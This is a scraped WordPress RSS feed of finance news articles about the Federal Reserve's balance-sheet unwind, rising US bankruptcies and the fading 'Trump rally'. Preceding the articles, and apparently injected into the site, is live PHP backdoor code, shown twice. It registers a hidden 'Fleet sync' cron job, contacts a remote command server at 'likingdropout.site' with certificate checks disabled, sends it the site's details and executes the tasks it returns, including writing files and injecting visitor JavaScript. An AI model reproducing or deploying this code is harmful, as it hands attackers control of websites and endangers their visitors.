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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); unwind’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 03 Mar 2018 12:26:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png unwind’ – Brief News https://briefnews.eu 32 32 The Fed’s plan to unwind its $4 trillion balance sheet didn’t skip a beat even amid last month’s market turmoil https://briefnews.eu/the-feds-plan-to-unwind-its-4-trillion-balance-sheet-didnt-skip-a-beat-even-amid-last-months-market-turmoil/ https://briefnews.eu/the-feds-plan-to-unwind-its-4-trillion-balance-sheet-didnt-skip-a-beat-even-amid-last-months-market-turmoil/#respond Sat, 03 Mar 2018 12:26:28 +0000 http://briefnews.eu/the-feds-plan-to-unwind-its-4-trillion-balance-sheet-didnt-skip-a-beat-even-amid-last-months-market-turmoil/ FILE PHOTO: Federal Reserve Chairman Jerome Powell arrives to take the oath of office at the Federal Reserve in Washington, U.S., February 5, 2018. REUTERS/Aaron P. BernsteinThomson Reuters

  • In September, the Fed announced a plan to gradually wind down its massive bond purchases made during and after the financial crisis.
  • That plan has been proceeding on schedule, despite turmoil in markets in February.

The fifth month of the QE-Unwind came to a completion with the release this afternoon of the Fed’s balance sheet for the week ending February 28. The QE-Unwind is progressing like clockwork. Even during the sell-off in early February, the QE-Unwind never missed a beat.

During QE, the Fed acquired Treasury securities and mortgage-backed securities (MBS) guaranteed by Fannie Mae, Freddie Mac, and Ginnie Mae. During the QE-Unwind, the Fed is shedding those securities. According to its plan, announced last September, the Fed would reduce its holdings of Treasuries and MBS by no more than:

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]]> https://briefnews.eu/the-feds-plan-to-unwind-its-4-trillion-balance-sheet-didnt-skip-a-beat-even-amid-last-months-market-turmoil/feed/ 0 Here’s the Fed’s plan to unwind its massive $4.5 trillion balance sheet https://briefnews.eu/heres-the-feds-plan-to-unwind-its-massive-4-5-trillion-balance-sheet/ https://briefnews.eu/heres-the-feds-plan-to-unwind-its-massive-4-5-trillion-balance-sheet/#respond Thu, 15 Jun 2017 10:41:10 +0000 http://briefnews.eu/heres-the-feds-plan-to-unwind-its-massive-4-5-trillion-balance-sheet/ wells fargo bank vaultAP

During the financial crisis, the Federal Reserve built up a store of roughly $ 4.5 trillion in Treasurys and other assets, like mortgage backed securities, on its balance sheet.

Since then, when these assets have come due the Fed has turned around and reinvested the principal back into new assets, maintaining the size of its balance sheet.

Now, nearly a decade after the start of the financial crisis, the Fed laid out its plan for shrinking the size of its balance sheet.

The basic idea will be that the Fed will stop reinvesting the principal of securities when they mature.

Put another way, when a 10-year Treasury on the Fed’s books comes due, the money it gets back from that investment will not be used to go out and buy another Treasury.

The slowing of reinvestment will be phased in over time. To start, the Fed will only invest money back into the market if it gets back more than $ 6 billion in principal returned a month. From there, the “cap” will increase by $ 6 billion every three months over the course of a year until it hits $ 30 billion a month.

The Fed said in the end it will have a balance sheet “appreciably below that seen in recent years but larger than before the financial crisis” because banks need for higher reserves at the Fed. This is a pretty broad end point given that the Fed held roughly $ 800 billion in assets before the financial crisis and $ 4.5 trillion now.

Here’s the full plan via the Fed:

All participants agreed to augment the Committee’s Policy Normalization Principles and Plans by providing the following additional details regarding the approach the FOMC intends to use to reduce the Federal Reserve’s holdings of Treasury and agency securities once normalization of the level of the federal funds rate is well under way.

  • The Committee intends to gradually reduce the Federal Reserve’s securities holdings by decreasing its reinvestment of the principal payments it receives from securities held in the System Open Market Account. Specifically, such payments will be reinvested only to the extent that they exceed gradually rising caps.

    • For payments of principal that the Federal Reserve receives from maturing Treasury securities, the Committee anticipates that the cap will be $ 6 billion per month initially and will increase in steps of $ 6 billion at three-month intervals over 12 months until it reaches $ 30 billion per month.

    • For payments of principal that the Federal Reserve receives from its holdings of agency debt and mortgage-backed securities, the Committee anticipates that the cap will be $ 4 billion per month initially and will increase in steps of $ 4 billion at three-month intervals over 12 months until it reaches $ 20 billion per month.

    • The Committee also anticipates that the caps will remain in place once they reach their respective maximums so that the Federal Reserve’s securities holdings will continue to decline in a gradual and predictable manner until the Committee judges that the Federal Reserve is holding no more securities than necessary to implement monetary policy efficiently and effectively.

  • Gradually reducing the Federal Reserve’s securities holdings will result in a declining supply of reserve balances. The Committee currently anticipates reducing the quantity of reserve balances, over time, to a level appreciably below that seen in recent years but larger than before the financial crisis; the level will reflect the banking system’s demand for reserve balances and the Committee’s decisions about how to implement monetary policy most efficiently and effectively in the future. The Committee expects to learn more about the underlying demand for reserves during the process of balance sheet normalization.

  • The Committee affirms that changing the target range for the federal funds rate is its primary means of adjusting the stance of monetary policy. However, the Committee would be prepared to resume reinvestment of principal payments received on securities held by the Federal Reserve if a material deterioration in the economic outlook were to warrant a sizable reduction in the Committee’s target for the federal funds rate. Moreover, the Committee would be prepared to use its full range of tools, including altering the size and composition of its balance sheet, if future economic conditions were to warrant a more accommodative monetary policy than can be achieved solely by reducing the federal funds rate.

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]]> https://briefnews.eu/heres-the-feds-plan-to-unwind-its-massive-4-5-trillion-balance-sheet/feed/ 0 A ‘great debt unwind’ has begun https://briefnews.eu/a-great-debt-unwind-has-begun/ https://briefnews.eu/a-great-debt-unwind-has-begun/#respond Tue, 06 Jun 2017 23:45:50 +0000 http://briefnews.eu/a-great-debt-unwind-has-begun/ windmillsREUTERS/Victor Fraile

The debt slaves are beginning to buckle under their loads.

Consumer and business bankruptcies are rising again, after declining for years since the financial crisis. That’s not a propitious sign.

For bankruptcy filings by businesses from large corporations to tiny sole proprietorships, the dance started in November 2015. At first it was the energy bust. But bankruptcies of energy companies have tapered off with new money surging into the oil & gas sector once again. Now bankruptcies in the retail sector are steadily worsening, and other sectors too have picked up the slack.

So here we go again. Total US business bankruptcies in May rose 4.7% year-over-year to 3,572 filings, according to the American Bankruptcy Institute. That’s up 40% from May 2015 and up 10% from May 2014.

And there’s another concern: Bankruptcy filings are highly seasonal. They peak in tax season – March or April – and then fall off. The decline in April after the peak in March was within that seasonal pattern. Over the past years, filings dropped in May. But not this year. This year, they jumped:

US bankruptcies commercial 2012 2017 05Wolf Street

The data is not seasonally or otherwise adjusted but is a raw and unvarnished measure of how businesses are faring in this economy.

Commercial bankruptcy filings ballooned during the Financial Crisis and peaked in March 2010 at 9,004. Then, as credit conditions eased, and as cheap money was looking for a place to go and even zombie companies were able to refinance their debts, filings fell sharply. But November 2015 was the turning point when for the first time since March 2010, commercial bankruptcy filings rose year-over-year.

With consumer bankruptcy filings, a similar pattern played out. But the turning point started a year later, in December 2016, when bankruptcy filings rose 4.5% year-over-year. In January they rose 5.4%. It was the first time consumer bankruptcies rose back-to-back since 2010. I called it “an early red flag” that is “highlighted only afterwards, and with hindsight, as the turning point in the consumer’s ability to continue playing this debt-binge game.”

In February, consumer bankruptcy filings fell. In March, filings rose 4% year-over-year to the highest since March 2015, according to the American Bankruptcy Institute. Along seasonal patterns, filings fell in April, but unlike prior seasonal patterns, they rose in May, up 5.4% year-over year and nearly back where they’d been in May 2015:US bankruptcies consumer 2011 2017 05Wolf Street

Total US bankruptcy filings by consumers and businesses in May rose 5.3% year-over-year to 69,668, the highest May since May 2014.

Consumers at risk of seeking bankruptcy protection are those with insurmountable piles of debt and stagnating or declining real incomes, of which there are many.

Mortgages, after home prices have been surging for years, are rarely the cause for filing. When homeowners get in trouble with mortgage payments at this point, they can sell the home and pay off the mortgage. And if they can’t and let the bank have the property, the bank will rarely try to obtain a deficiency judgment against the homeowner in the “full recourse” states where it is allowed. And in non-recourse states, the bank cannot even try.

When it comes to consumer bankruptcies, other forms of debts are the primary drivers: largely student loans, auto loans, and revolving credit such as credit cards. And a big one: debts related to medical treatments, such as emergency room bills.

And there is a lot of this debt. Credit card debt, at $ 1 trillion, is just one notch below the peak during the Financial Crisis. But auto loan balances outstanding have surged 36% from the pre-crisis peak in 2006 to $ 1.12 trillion in Q1 2017. And student loan balances outstanding have surged 180% over the same period to $ 1.44 trillion. This amounts to over $ 3.5 trillion plus medical debts.

While student loans cannot be discharged in bankruptcy, they can be drivers when other debts are involved and the combined debt burden is simply too large for consumers to carry. And they buckle.

Delinquencies on credit cards, according to the Federal Reserve Board of Governors, have been ticking up from the lows of the first half in 2015. Auto loan delinquencies have been rising too, and in the subprime segment, they have been surging. Student loan delinquencies have been very high and have been underreported for years, it now turns out. So when will the first waves of consumers stumble in their debt binge and head for bankruptcy court to seek protection from creditors? That’s what everyone wanted to know. And now the answers are beginning to emerge.

While hiring in May was, according to LinkedIn data, strong in most of the US, there was an exception: in San Francisco and Silicon Valley where tech skills are suddenly “abundant.” Read… It Starts: Hiring Falls in San Francisco Bay Area, Says LinkedIn

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]]> https://briefnews.eu/a-great-debt-unwind-has-begun/feed/ 0 There’s one big problem with the Fed’s plan to unwind its gigantic balance sheet https://briefnews.eu/theres-one-big-problem-with-the-feds-plan-to-unwind-its-gigantic-balance-sheet/ https://briefnews.eu/theres-one-big-problem-with-the-feds-plan-to-unwind-its-gigantic-balance-sheet/#respond Thu, 25 May 2017 04:23:45 +0000 http://briefnews.eu/theres-one-big-problem-with-the-feds-plan-to-unwind-its-gigantic-balance-sheet/ janet yellen federal reserve REUTERS/Kevin Lamarque

The late economist John Kenneth Galbraith famously stated economic forecasting was invented to make astrology look respectable. 

The Federal Reserve seems bent on proving Galbraith right, this time when it comes to guidance about what it intends to do with its $ 4.5 trillion balance sheet, which expanded sharply in response to the Great Recession of 2007-2009.

Both the steep downturn and tepid recovery that followed took the Fed by surprise. For years now, US central bankers have forecast stronger growth than ultimately materialized, thereby overestimating how quickly they could raise interest rates after keeping them low for a prolonged period. 

Now, minutes of the Fed’s May meeting offered a blueprint for when and how the central bank intends to begin reducing the size of its balance sheet by gradually ceasing a policy of reinvesting the proceeds of maturing bonds back into new securities. The trouble is, Fed officials will eagerly admit they have little clue how their actions will impact financial markets and, in turn, borrowing costs. 

During the economic slump and financial crisis that centered on the housing market but quickly affected most of the global banking system, the Fed bought trillions of mortgage and Treasury bonds in an effort to keep long-term interest rates low. Policymakers had already brought down the official benchmark, known as the federal funds rate, to zero as of December 2008.

Fed balance sheetBusiness Insider/Andy KierszSo how does the Fed expect to reverse its balance sheet expansion?

“Under the [staff’s] proposed approach, the committee would announce a set of gradually increasing caps, or limits, on the dollar amounts of Treasury and agency securities that would be allowed to run off each month, and only the amounts of securities repayments that exceeded the caps would be reinvested each month,” the minutes said.

“As the caps increased, reinvestments would decline, and the monthly reductions in the Federal Reserve’s securities holdings would become larger. The caps would initially be set at low levels and then be raised every three months, over a set period of time, to their fully phased-in levels. The final values of the caps would then be maintained until the size of the balance sheet was normalized.”

How did officials react? “Nearly all policymakers expressed a favorable view of this general approach.”

What about the timing? “Nearly all policymakers indicated that as long as the economy and the path of the federal funds rate evolved as currently expected, it likely would be appropriate to begin reducing the Federal Reserve’s securities holdings this year.”

Here’s the problem: Reducing the Fed’s balance sheet at the same time as the central bank is raising interest rates adds an unnecessary element of complexity to the monetary tightening process. Officials themselves acknowledge that they are less sure about the impact of a reduction in asset holdings on financial conditions than they are with the more familiar tool of an interest rate increase. 

At the same time, the Fed has now set up an expectation among market participants that, if upset along the course of highly unpredictable economic, political and market events over the course of this year, would be another ding on the central bank’s already battered credibility.

After all, the minutes state, optimistically, that “under this approach, the process of reducing the Federal Reserve’s securities holdings, once begun, could likely proceed without a need for the Committee to make adjustments as long as there was no material deterioration in the economic outlook.”

We’ll see about that.

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]]> https://briefnews.eu/theres-one-big-problem-with-the-feds-plan-to-unwind-its-gigantic-balance-sheet/feed/ 0 ROSENBERG: The Trump rally’s ‘great unwind’ might just be getting started https://briefnews.eu/rosenberg-the-trump-rallys-great-unwind-might-just-be-getting-started/ https://briefnews.eu/rosenberg-the-trump-rallys-great-unwind-might-just-be-getting-started/#respond Mon, 27 Mar 2017 22:49:09 +0000 http://briefnews.eu/rosenberg-the-trump-rallys-great-unwind-might-just-be-getting-started/ david rosenbergScreenshot via Bloomberg TV

What we are talking about here is the unwinding of the so-called “Trump Rally” since November 8th.

The political premium that was placed on the pricing of risk premiums following last November’s election — that part of the rally that reflected faith-based “animal spirits” as opposed to fact-based fundamentals.

I recall saying days after the vote that even the most effective presidents in the past barely got half of what they campaigned on signed into law, and what is happening now to Donald J. Trump is quite obvious. The game of politics is quite a bit different than the game of business.

There are a lot of shifting pieces today in global markets and they all point to one giant “risk off” trade — a reversal of this pro-cyclical move that followed the U.S. election, a move that was based on a huge set of false presumptions as to what was actually going to be achieved. All that was needed to draw this conclusion was a sense of history, but we have a marketplace filled with fast-money traders who only know how to live in the here-and-now.

But in recent days, we have seen both the U.S. dollar and the CRB commodity index both retrace almost all of their post-election surge; bond yields reverse about one-third of their run up; fully 40% of the initial sharp narrowing in High-Yield corporate bond yield spreads has been unwound; and the stock market is now in the process of playing catch-up, having given up around one-tenth of the “Trump Rally” in just the past four weeks.

The mantra is that the administration is now going to be able to focus on tax reform and that this is a good thing belies the reality that there is not one firm GOP plan for this initiative. Congress is every bit as divided with respect to the appropriate top marginal rate, the extent to which any plan must be revenue-neutral, and how this will be funded are all contentious issues to be resolved.

trump reaganJohn Locher/AP Images; Doug Mills/AP ImagesIt took Ronald Reagan five years to achieve the historic reforms in 1986 and that was just to bring the U.S. off WWII top marginal rates of 70% … and he knew how to reach across the aisle and ensure bipartisanship.

Not just that, but the Gipper was patient — what is truly striking is that the current president spent just 17 days on this file and the hurdle was not the Freedom Caucus as much as the inability to reach out to the GOP moderates. This was not a very artful deal attempt and another lesson is that while ultimatums may work in midtown Manhattan real estate deals, they do not work as well in Washington.

In any event, a leader with a sub-40% approval rating and who spent much political capital on this failed “repeal and replace” Obamacare bill, is not likely to have an easy time getting a tax bill through the Republican Party, where the schisms are as wide as ever.

While Mr. Trump does openly lament not focusing on tax reform first, he also repeatedly stated prior to the election that replacing the “disaster” called the Affordable Care Act was going to be his first legislative maneuver — and he needed it because the changes the House Speaker Paul Ryan plan proposed actually represented the first leg of the tax cut, and the spending declines that it entailed were supposed to help defray the cost of the grand tax cut program. Back to the drawing board.

And take note, one can blame the Tea Party for the failed health care bill, but this Ryan plan was DOA in the Senate even if it had passed the House. And as is the case with financing tax cuts, there is no appetite in the Senate for the border adjustment tax, just as there is no appetite in much of the House for deficit-finance at current uncomfortably high budget shortfalls and government debt ratios.

To reiterate, as I heard over and over again about how “one party rule” was going to mean quick and decisive action on the fiscal front, what struck me was the lack of knowledge of how the Republican Party is actually a massively diverse entity — give John Boehner a call, I’m sure he can fill you in on the matter.

Plus we have a president with no apparent ideology and basically got elected because of what his opponent stood for — which was crony capitalism and pay-to-pay politics.

The polls (if you can believe them!) never did show the vast hatred for Obamacare that was portrayed at the GOP rallies among the general public, though no doubt there are flaws that still have to be remedied (on deductibles, premiums and youth participation, in particular).

paul ryanJonathan Ernst/ReutersAnd this is not about the Freedom Caucus as the members here are in safe seats and most don’t care about re-election in any event. The hurdle is 33 House seats that are located in jurisdictions that Hillary either carried or came within a hair of doing so.

The overriding issue is that we have a party that is extremely divided and fractious, and the differences regarding how to fund tax reform are as wide as they were over the health care file.

One final note and this has to do with how the failure of the Ryan plan is going to affect tax reform and the market.

First, the market had been anticipating some changes to Obamacare, and one that was key was the planned 3.8 percentage point cut in taxes on capital income which would have been as significant in bolstering after-tax returns as the eight-point slice in capital gains tax rates was back in 1997.

Now keep in mind that the Ryan bill would have reduced the budget baseline for tax reform by an estimated $ 1 trillion over the next 10 years. So what that means is that a tax reform plan is now short $ 1 trillion of funding from health care reforms which means that either the deficit is that much higher (but the hawks in the House won’t allow that), loopholes have to be cut (but how does curbing the preferential tax treatment of debt expense exactly help out with the planned private-public infrastructure plan?), or the border adjustment tax has to be part of the funding solution (the retailers are lobbying hard against this).

The best advice I have seen in recent times was from none other than Warren Buffet, when he said in a CNBC interview on February 27 that “if you mix your politics with your investment decisions, you’re making a big mistake.”

I have been advocating a similar posture when asked how to invest around “Donald Trump,” and my response has not changed in these first 100 days: Don’t. Invest around the themes that have nothing to do with Donald Trump, the secular and durable trends that preceded his presidency and will transcend it as well. That means investing around shifting demographic themes, the fourth “Industrial Revolution” (as in automation, robotics, the shared economy), “lower for longer” interest rates (even with the rise from last year’s lows), and the opportunities abroad, especially in several parts of Europe and Asia, where valuations and earnings fundamentals are providing decent tailwinds.

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